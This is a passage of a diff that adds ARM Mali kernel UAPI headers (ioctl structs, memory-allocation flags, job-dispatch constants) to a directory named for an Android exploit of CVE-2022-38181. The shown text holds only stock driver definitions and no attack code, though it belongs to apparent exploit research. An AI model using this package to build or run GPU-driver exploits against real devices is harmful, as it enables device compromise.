kbase_ioctl_mem_flags_change { + __u64 gpu_va; + __u64 flags; + __u64 mask; +}; + +#define KBASE_IOCTL_MEM_FLAGS_CHANGE \ + _IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change) + +/** + * struct kbase_ioctl_stream_create - Create a synchronisation stream + * @name: A name to identify this stream. Must be NULL-terminated. + * + * Note that this is also called a "timeline", but is named stream to avoid + * confusion with other uses of the word. + * + * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes. + * + * The ioctl returns a file descriptor. + */ +struct kbase_ioctl_stream_create { + char name[32]; +}; + +#define KBASE_IOCTL_STREAM_CREATE \ + _IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create) + +/** + * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence + * @fd: The file descriptor to validate + */ +struct kbase_ioctl_fence_validate { + int fd; +}; + +#define KBASE_IOCTL_FENCE_VALIDATE \ + _IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate) + +/** + * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel + * @buffer: Pointer to the information + * @len: Length + * @padding: Padding + * + * The data provided is accessible through a debugfs file + */ +struct kbase_ioctl_mem_profile_add { + __u64 buffer; + __u32 len; + __u32 padding; +}; + +#define KBASE_IOCTL_MEM_PROFILE_ADD \ + _IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add) + +/** + * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to map + */ +struct kbase_ioctl_sticky_resource_map { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_MAP \ + _IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map) + +/** + * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was + * previously permanently mapped + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to unmap + */ +struct kbase_ioctl_sticky_resource_unmap { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \ + _IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap) + +/** + * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of + * the GPU memory region for + * the given gpu address and + * the offset of that address + * into the region + * @in: Input parameters + * @in.gpu_addr: GPU virtual address + * @in.size: Size in bytes within the region + * @out: Output parameters + * @out.start: Address of the beginning of the memory region enclosing @gpu_addr + * for the length of @offset bytes + * @out.offset: The offset from the start of the memory region to @gpu_addr + */ +union kbase_ioctl_mem_find_gpu_start_and_offset { + struct { + __u64 gpu_addr; + __u64 size; + } in; + struct { + __u64 start; + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset) + +#define KBASE_IOCTL_CINSTR_GWT_START \ + _IO(KBASE_IOCTL_TYPE, 33) + +#define KBASE_IOCTL_CINSTR_GWT_STOP \ + _IO(KBASE_IOCTL_TYPE, 34) + +/** + * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses. + * @in: Input parameters + * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas. + * @in.size_buffer: Address of buffer to hold size of modified areas (in pages) + * @in.len: Number of addresses the buffers can hold. + * @in.padding: padding + * @out: Output parameters + * @out.no_of_addr_collected: Number of addresses collected into addr_buffer. + * @out.more_data_available: Status indicating if more addresses are available. + * @out.padding: padding + * + * This structure is used when performing a call to dump GPU write fault + * addresses. + */ +union kbase_ioctl_cinstr_gwt_dump { + struct { + __u64 addr_buffer; + __u64 size_buffer; + __u32 len; + __u32 padding; + + } in; + struct { + __u32 no_of_addr_collected; + __u8 more_data_available; + __u8 padding[27]; + } out; +}; + +#define KBASE_IOCTL_CINSTR_GWT_DUMP \ + _IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump) + +/** + * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone + * + * @va_pages: Number of VA pages to reserve for EXEC_VA + */ +struct kbase_ioctl_mem_exec_init { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_EXEC_INIT \ + _IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init) + +/** + * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of + * cpu/gpu time (counter values) + * @in: Input parameters + * @in.request_flags: Bit-flags indicating the requested types. + * @in.paddings: Unused, size alignment matching the out. + * @out: Output parameters + * @out.sec: Integer field of the monotonic time, unit in seconds. + * @out.nsec: Fractional sec of the monotonic time, in nano-seconds. + * @out.padding: Unused, for __u64 alignment + * @out.timestamp: System wide timestamp (counter) value. + * @out.cycle_counter: GPU cycle counter value. + */ +union kbase_ioctl_get_cpu_gpu_timeinfo { + struct { + __u32 request_flags; + __u32 paddings[7]; + } in; + struct { + __u64 sec; + __u32 nsec; + __u32 padding; + __u64 timestamp; + __u64 cycle_counter; + } out; +}; + +#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \ + _IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo) + +/** + * struct kbase_ioctl_context_priority_check - Check the max possible priority + * @priority: Input priority & output priority + */ + +struct kbase_ioctl_context_priority_check { + __u8 priority; +}; + +#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check) + +/** + * struct kbase_ioctl_set_limited_core_count - Set the limited core count. + * + * @max_core_count: Maximum core count + */ +struct kbase_ioctl_set_limited_core_count { + __u8 max_core_count; +}; + +#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \ + _IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count) + + +/*************** + * Pixel ioctls * + ***************/ + +/** + * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request + * + * @dur_usec: Duration for GPU to stay awake. + */ +struct kbase_ioctl_apc_request { + __u32 dur_usec; +}; + +#define KBASE_IOCTL_APC_REQUEST \ + _IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request) + +/*************** + * test ioctls * + ***************/ +#if MALI_UNIT_TEST +/* These ioctls are purely for test purposes and are not used in the production + * driver, they therefore may change without notice + */ + +#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1) + + +/** + * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes + * @bytes_collected: number of bytes read by user + * @bytes_generated: number of bytes generated by tracepoints + */ +struct kbase_ioctl_tlstream_stats { + __u32 bytes_collected; + __u32 bytes_generated; +}; + +#define KBASE_IOCTL_TLSTREAM_STATS \ + _IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats) + +#endif /* MALI_UNIT_TEST */ + +/* Customer extension range */ +#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2) + +/* If the integration needs extra ioctl add them there + * like this: + * + * struct my_ioctl_args { + * .... + * } + * + * #define KBASE_IOCTL_MY_IOCTL \ + * _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args) + */ + + +/********************************** + * Definitions for GPU properties * + **********************************/ +#define KBASE_GPUPROP_VALUE_SIZE_U8 (0x0) +#define KBASE_GPUPROP_VALUE_SIZE_U16 (0x1) +#define KBASE_GPUPROP_VALUE_SIZE_U32 (0x2) +#define KBASE_GPUPROP_VALUE_SIZE_U64 (0x3) + +#define KBASE_GPUPROP_PRODUCT_ID 1 +#define KBASE_GPUPROP_VERSION_STATUS 2 +#define KBASE_GPUPROP_MINOR_REVISION 3 +#define KBASE_GPUPROP_MAJOR_REVISION 4 +/* 5 previously used for GPU speed */ +#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX 6 +/* 7 previously used for minimum GPU speed */ +#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE 8 +#define KBASE_GPUPROP_TEXTURE_FEATURES_0 9 +#define KBASE_GPUPROP_TEXTURE_FEATURES_1 10 +#define KBASE_GPUPROP_TEXTURE_FEATURES_2 11 +#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE 12 + +#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE 13 +#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE 14 +#define KBASE_GPUPROP_L2_NUM_L2_SLICES 15 + +#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES 16 +#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS 17 + +#define KBASE_GPUPROP_MAX_THREADS 18 +#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE 19 +#define KBASE_GPUPROP_MAX_BARRIER_SIZE 20 +#define KBASE_GPUPROP_MAX_REGISTERS 21 +#define KBASE_GPUPROP_MAX_TASK_QUEUE 22 +#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT 23 +#define KBASE_GPUPROP_IMPL_TECH 24 + +#define KBASE_GPUPROP_RAW_SHADER_PRESENT 25 +#define KBASE_GPUPROP_RAW_TILER_PRESENT 26 +#define KBASE_GPUPROP_RAW_L2_PRESENT 27 +#define KBASE_GPUPROP_RAW_STACK_PRESENT 28 +#define KBASE_GPUPROP_RAW_L2_FEATURES 29 +#define KBASE_GPUPROP_RAW_CORE_FEATURES 30 +#define KBASE_GPUPROP_RAW_MEM_FEATURES 31 +#define KBASE_GPUPROP_RAW_MMU_FEATURES 32 +#define KBASE_GPUPROP_RAW_AS_PRESENT 33 +#define KBASE_GPUPROP_RAW_JS_PRESENT 34 +#define KBASE_GPUPROP_RAW_JS_FEATURES_0 35 +#define KBASE_GPUPROP_RAW_JS_FEATURES_1 36 +#define KBASE_GPUPROP_RAW_JS_FEATURES_2 37 +#define KBASE_GPUPROP_RAW_JS_FEATURES_3 38 +#define KBASE_GPUPROP_RAW_JS_FEATURES_4 39 +#define KBASE_GPUPROP_RAW_JS_FEATURES_5 40 +#define KBASE_GPUPROP_RAW_JS_FEATURES_6 41 +#define KBASE_GPUPROP_RAW_JS_FEATURES_7 42 +#define KBASE_GPUPROP_RAW_JS_FEATURES_8 43 +#define KBASE_GPUPROP_RAW_JS_FEATURES_9 44 +#define KBASE_GPUPROP_RAW_JS_FEATURES_10 45 +#define KBASE_GPUPROP_RAW_JS_FEATURES_11 46 +#define KBASE_GPUPROP_RAW_JS_FEATURES_12 47 +#define KBASE_GPUPROP_RAW_JS_FEATURES_13 48 +#define KBASE_GPUPROP_RAW_JS_FEATURES_14 49 +#define KBASE_GPUPROP_RAW_JS_FEATURES_15 50 +#define KBASE_GPUPROP_RAW_TILER_FEATURES 51 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0 52 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1 53 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2 54 +#define KBASE_GPUPROP_RAW_GPU_ID 55 +#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS 56 +#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE 57 +#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE 58 +#define KBASE_GPUPROP_RAW_THREAD_FEATURES 59 +#define KBASE_GPUPROP_RAW_COHERENCY_MODE 60 + +#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS 61 +#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS 62 +#define KBASE_GPUPROP_COHERENCY_COHERENCY 63 +#define KBASE_GPUPROP_COHERENCY_GROUP_0 64 +#define KBASE_GPUPROP_COHERENCY_GROUP_1 65 +#define KBASE_GPUPROP_COHERENCY_GROUP_2 66 +#define KBASE_GPUPROP_COHERENCY_GROUP_3 67 +#define KBASE_GPUPROP_COHERENCY_GROUP_4 68 +#define KBASE_GPUPROP_COHERENCY_GROUP_5 69 +#define KBASE_GPUPROP_COHERENCY_GROUP_6 70 +#define KBASE_GPUPROP_COHERENCY_GROUP_7 71 +#define KBASE_GPUPROP_COHERENCY_GROUP_8 72 +#define KBASE_GPUPROP_COHERENCY_GROUP_9 73 +#define KBASE_GPUPROP_COHERENCY_GROUP_10 74 +#define KBASE_GPUPROP_COHERENCY_GROUP_11 75 +#define KBASE_GPUPROP_COHERENCY_GROUP_12 76 +#define KBASE_GPUPROP_COHERENCY_GROUP_13 77 +#define KBASE_GPUPROP_COHERENCY_GROUP_14 78 +#define KBASE_GPUPROP_COHERENCY_GROUP_15 79 + +#define KBASE_GPUPROP_TEXTURE_FEATURES_3 80 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3 81 + +#define KBASE_GPUPROP_NUM_EXEC_ENGINES 82 + +#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC 83 +#define KBASE_GPUPROP_TLS_ALLOC 84 +#define KBASE_GPUPROP_RAW_GPU_FEATURES 85 + +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) + +#endif /* _UAPI_KBASE_JM_IOCTL_H_ */ + diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h new file mode 100644 index 0000000..b1cf438 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h @@ -0,0 +1,1216 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_JM_KERNEL_H_ +#define _UAPI_BASE_JM_KERNEL_H_ + +#include + +typedef __u32 base_mem_alloc_flags; +/* Memory allocation, access/hint flags. + * + * See base_mem_alloc_flags. + */ + +/* IN */ +/* Read access CPU side + */ +#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0) + +/* Write access CPU side + */ +#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1) + +/* Read access GPU side + */ +#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2) + +/* Write access GPU side + */ +#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3) + +/* Execute allowed on the GPU side + */ +#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4) + +/* Will be permanently mapped in kernel space. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5) + +/* The allocation will completely reside within the same 4GB chunk in the GPU + * virtual space. + * Since this flag is primarily required only for the TLS memory which will + * not be used to contain executable code and also not used for Tiler heap, + * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags. + */ +#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6) + +/* Userspace is not allowed to free this memory. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7) + +#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8) + +/* Grow backing store on GPU Page Fault + */ +#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9) + +/* Page coherence Outer shareable, if available + */ +#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10) + +/* Page coherence Inner shareable + */ +#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11) + +/* IN/OUT */ +/* Should be cached on the CPU, returned if actually cached + */ +#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12) + +/* IN/OUT */ +/* Must have same VA on both the GPU and the CPU + */ +#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13) + +/* OUT */ +/* Must call mmap to acquire a GPU address for the allocation + */ +#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14) + +/* IN */ +/* Page coherence Outer shareable, required. + */ +#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15) + +/* Protected memory + */ +#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16) + +/* Not needed physical memory + */ +#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17) + +/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the + * addresses to be the same + */ +#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18) + +/** + * Bit 19 is reserved. + * + * Do not remove, use the next unreserved bit for new flags + */ +#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19) + +/** + * Memory starting from the end of the initial commit is aligned to 'extension' + * pages, where 'extension' must be a power of 2 and no more than + * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20) + +/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu + * mode. Some components within the GPU might only be able to access memory + * that is GPU cacheable. Refer to the specific GPU implementation for more + * details. The 3 shareability flags will be ignored for GPU uncached memory. + * If used while importing USER_BUFFER type memory, then the import will fail + * if the memory is not aligned to GPU and CPU cache line width. + */ +#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21) + +/* + * Bits [22:25] for group_id (0~15). + * + * base_mem_group_id_set() should be used to pack a memory group ID into a + * base_mem_alloc_flags value instead of accessing the bits directly. + * base_mem_group_id_get() should be used to extract the memory group ID from + * a base_mem_alloc_flags value. + */ +#define BASEP_MEM_GROUP_ID_SHIFT 22 +#define BASE_MEM_GROUP_ID_MASK \ + ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT) + +/* Must do CPU cache maintenance when imported memory is mapped/unmapped + * on GPU. Currently applicable to dma-buf type only. + */ +#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26) + +/* Use the GPU VA chosen by the kernel client */ +#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27) + +/* OUT */ +/* Kernel side cache sync ops required */ +#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28) + +/* Force trimming of JIT allocations when creating a new allocation */ +#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29) + +/* Number of bits used as flags for base memory management + * + * Must be kept in sync with the base_mem_alloc_flags flags + */ +#define BASE_MEM_FLAGS_NR_BITS 30 + +/* A mask of all the flags which are only valid for allocations within kbase, + * and may not be passed from user space. + */ +#define BASEP_MEM_FLAGS_KERNEL_ONLY \ + (BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \ + BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM) + +/* A mask for all output bits, excluding IN/OUT bits. + */ +#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP + +/* A mask for all input bits, including IN/OUT bits. + */ +#define BASE_MEM_FLAGS_INPUT_MASK \ + (((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK) + +/* A mask of all currently reserved flags + */ +#define BASE_MEM_FLAGS_RESERVED \ + (BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19) + +#define BASEP_MEM_INVALID_HANDLE (0ull << 12) +#define BASE_MEM_MMU_DUMP_HANDLE (1ull << 12) +#define BASE_MEM_TRACE_BUFFER_HANDLE (2ull << 12) +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) +#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ull << 12) +/* reserved handles ..-47< for future special handles */ +#define BASE_MEM_COOKIE_BASE (64ul << 12) +#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << 12) + \ + BASE_MEM_COOKIE_BASE) + +/* Similar to BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the + * initial commit is aligned to 'extension' pages, where 'extension' must be a power + * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP (1 << 0) + +/** + * If set, the heap info address points to a __u32 holding the used size in bytes; + * otherwise it points to a __u64 holding the lowest address of unused memory. + */ +#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE (1 << 1) + +/** + * Valid set of just-in-time memory allocation flags + * + * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr + * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set + * and heap_info_gpu_addr being 0 will be rejected). + */ +#define BASE_JIT_ALLOC_VALID_FLAGS \ + (BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE) + +/** + * typedef base_context_create_flags - Flags to pass to ::base_context_init. + * + * Flags can be ORed together to enable multiple things. + * + * These share the same space as BASEP_CONTEXT_FLAG_*, and so must + * not collide with them. + */ +typedef __u32 base_context_create_flags; + +/* No flags set */ +#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0) + +/* Base context is embedded in a cctx object (flag used for CINSTR + * software counter macros) + */ +#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0) + +/* Base context is a 'System Monitor' context for Hardware counters. + * + * One important side effect of this is that job submission is disabled. + */ +#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \ + ((base_context_create_flags)1 << 1) + +/* Bit-shift used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3) + +/* Bitmask used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \ + ((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT) + +/* Bitpattern describing the base_context_create_flags that can be + * passed to the kernel + */ +#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \ + (BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \ + BASEP_CONTEXT_MMU_GROUP_ID_MASK) + +/* Bitpattern describing the ::base_context_create_flags that can be + * passed to base_context_init() + */ +#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \ + (BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS) + +/* + * Private flags used on the base context + * + * These start at bit 31, and run down to zero. + * + * They share the same space as base_context_create_flags, and so must + * not collide with them. + */ + +/* Private flag tracking whether job descriptor dumping is disabled */ +#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \ + ((base_context_create_flags)(1 << 31)) + +/* Enable additional tracepoints for latency measurements (TL_ATOM_READY, + * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST) + */ +#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0) + +/* Indicate that job dumping is enabled. This could affect certain timers + * to account for the performance impact. + */ +#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1) + +#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \ + BASE_TLSTREAM_JOB_DUMPING_ENABLED) +/* + * Dependency stuff, keep it private for now. May want to expose it if + * we decide to make the number of semaphores a configurable + * option. + */ +#define BASE_JD_ATOM_COUNT 256 + +/* Maximum number of concurrent render passes. + */ +#define BASE_JD_RP_COUNT (256) + +/* Set/reset values for a software event */ +#define BASE_JD_SOFT_EVENT_SET ((unsigned char)1) +#define BASE_JD_SOFT_EVENT_RESET ((unsigned char)0) + +/** + * struct base_jd_udata - Per-job data + * + * This structure is used to store per-job data, and is completely unused + * by the Base driver. It can be used to store things such as callback + * function pointer, data to handle job completion. It is guaranteed to be + * untouched by the Base driver. + * + * @blob: per-job data array + */ +struct base_jd_udata { + __u64 blob[2]; +}; + +/** + * typedef base_jd_dep_type - Job dependency type. + * + * A flags field will be inserted into the atom structure to specify whether a + * dependency is a data or ordering dependency (by putting it before/after + * 'core_req' in the structure it should be possible to add without changing + * the structure size). + * When the flag is set for a particular dependency to signal that it is an + * ordering only dependency then errors will not be propagated. + */ +typedef __u8 base_jd_dep_type; + +#define BASE_JD_DEP_TYPE_INVALID (0) /**< Invalid dependency */ +#define BASE_JD_DEP_TYPE_DATA (1U << 0) /**< Data dependency */ +#define BASE_JD_DEP_TYPE_ORDER (1U << 1) /**< Order dependency */ + +/** + * typedef base_jd_core_req - Job chain hardware requirements. + * + * A job chain must specify what GPU features it needs to allow the + * driver to schedule the job correctly. By not specifying the + * correct settings can/will cause an early job termination. Multiple + * values can be ORed together to specify multiple requirements. + * Special case is ::BASE_JD_REQ_DEP, which is used to express complex + * dependencies, and that doesn't execute anything on the hardware. + */ +typedef __u32 base_jd_core_req; + +/* Requirements that come from the HW */ + +/* No requirement, dependency only + */ +#define BASE_JD_REQ_DEP ((base_jd_core_req)0) + +/* Requires fragment shaders + */ +#define BASE_JD_REQ_FS ((base_jd_core_req)1 << 0) + +/* Requires compute shaders + * + * This covers any of the following GPU job types: + * - Vertex Shader Job + * - Geometry Shader Job + * - An actual Compute Shader Job + * + * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the + * job is specifically just the "Compute Shader" job type, and not the "Vertex + * Shader" nor the "Geometry Shader" job type. + */ +#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1) + +/* Requires tiling */ +#define BASE_JD_REQ_T ((base_jd_core_req)1 << 2) + +/* Requires cache flushes */ +#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3) + +/* Requires value writeback */ +#define BASE_JD_REQ_V ((base_jd_core_req)1 << 4) + +/* SW-only requirements - the HW does not expose these as part of the job slot + * capabilities + */ + +/* Requires fragment job with AFBC encoding */ +#define BASE_JD_REQ_FS_AFBC ((base_jd_core_req)1 << 13) + +/* SW-only requirement: coalesce completion events. + * If this bit is set then completion of this atom will not cause an event to + * be sent to userspace, whether successful or not; completion events will be + * deferred until an atom completes which does not have this bit set. + * + * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES. + */ +#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5) + +/* SW Only requirement: the job chain requires a coherent core group. We don't + * mind which coherent core group is used. + */ +#define BASE_JD_REQ_COHERENT_GROUP ((base_jd_core_req)1 << 6) + +/* SW Only requirement: The performance counters should be enabled only when + * they are needed, to reduce power consumption. + */ +#define BASE_JD_REQ_PERMON ((base_jd_core_req)1 << 7) + +/* SW Only requirement: External resources are referenced by this atom. + * + * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and + * BASE_JD_REQ_SOFT_EVENT_WAIT. + */ +#define BASE_JD_REQ_EXTERNAL_RESOURCES ((base_jd_core_req)1 << 8) + +/* SW Only requirement: Software defined job. Jobs with this bit set will not be + * submitted to the hardware but will cause some action to happen within the + * driver + */ +#define BASE_JD_REQ_SOFT_JOB ((base_jd_core_req)1 << 9) + +#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME (BASE_JD_REQ_SOFT_JOB | 0x1) +#define BASE_JD_REQ_SOFT_FENCE_TRIGGER (BASE_JD_REQ_SOFT_JOB | 0x2) +#define BASE_JD_REQ_SOFT_FENCE_WAIT (BASE_JD_REQ_SOFT_JOB | 0x3) + +/* 0x4 RESERVED for now */ + +/* SW only requirement: event wait/trigger job. + * + * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set. + * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the + * other waiting jobs. It completes immediately. + * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it + * possible for other jobs to wait upon. It completes immediately. + */ +#define BASE_JD_REQ_SOFT_EVENT_WAIT (BASE_JD_REQ_SOFT_JOB | 0x5) +#define BASE_JD_REQ_SOFT_EVENT_SET (BASE_JD_REQ_SOFT_JOB | 0x6) +#define BASE_JD_REQ_SOFT_EVENT_RESET (BASE_JD_REQ_SOFT_JOB | 0x7) + +#define BASE_JD_REQ_SOFT_DEBUG_COPY (BASE_JD_REQ_SOFT_JOB | 0x8) + +/* SW only requirement: Just In Time allocation + * + * This job requests a single or multiple just-in-time allocations through a + * list of base_jit_alloc_info structure which is passed via the jc element of + * the atom. The number of base_jit_alloc_info structures present in the + * list is passed via the nr_extres element of the atom + * + * It should be noted that the id entry in base_jit_alloc_info must not + * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE. + * + * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE + * soft job to free the JIT allocation is still made. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_ALLOC (BASE_JD_REQ_SOFT_JOB | 0x9) + +/* SW only requirement: Just In Time free + * + * This job requests a single or multiple just-in-time allocations created by + * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time + 